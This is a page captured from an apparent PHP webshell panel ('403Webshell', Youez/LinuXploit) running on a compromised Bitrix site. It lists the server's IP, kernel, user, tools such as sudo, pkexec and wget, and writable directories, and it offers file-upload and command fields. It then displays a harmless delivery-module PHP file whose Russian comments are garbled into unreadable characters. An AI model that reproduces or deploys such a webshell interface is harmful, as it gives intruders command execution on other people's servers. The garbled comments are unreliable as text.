403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/lpost.delivery/lib/Order/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/lpost.delivery/lib/Order/DeliveryManager.php
<?php

namespace Lpost\Delivery\Order;


use Bitrix\Main\ArgumentException;
use Bitrix\Sale\Delivery\Services\Manager;


/**
 * ����� ������� "�����" �� ����� � �������� �������� �������� �����
 * (���������� �����, ������ ������� ������ �� ������� ����)
 */
class DeliveryManager
{
    /**
     * ������ ������ lpost �������� �� ������ bitrix
     *
     * @throws ArgumentException
     */
    public static function getLpostDeliveryList(): array
    {
        $arLpostDelivery = [];
        $arDelivery  = Manager::getActiveList();

        foreach ($arDelivery as $delivery) {

            if($delivery['PARENT_ID'] <= 0) {
                continue;
            }

            if(
                strpos($delivery['CLASS_NAME'], \Lpost\Delivery\Handlers\Pvz::class)
                OR strpos($delivery['CLASS_NAME'], \Lpost\Delivery\Handlers\Zone::class)
            ) {
                $arLpostDelivery[] = $delivery;
            }
        }

        return $arLpostDelivery;
    }

    /**
     * ������ �������� ����� �� �� �� ������ �������
     *
     * @param $deliveryId
     * @return mixed|void
     * @throws ArgumentException
     */
    public static function getLpostDeliveryById($deliveryId)
    {
        foreach (self::getLpostDeliveryList() as $delivery) {
            if($delivery['ID'] == $deliveryId) {
                return $delivery;
            }
        }
    }




}

Youez - 2016 - github.com/yon3zu
LinuXploit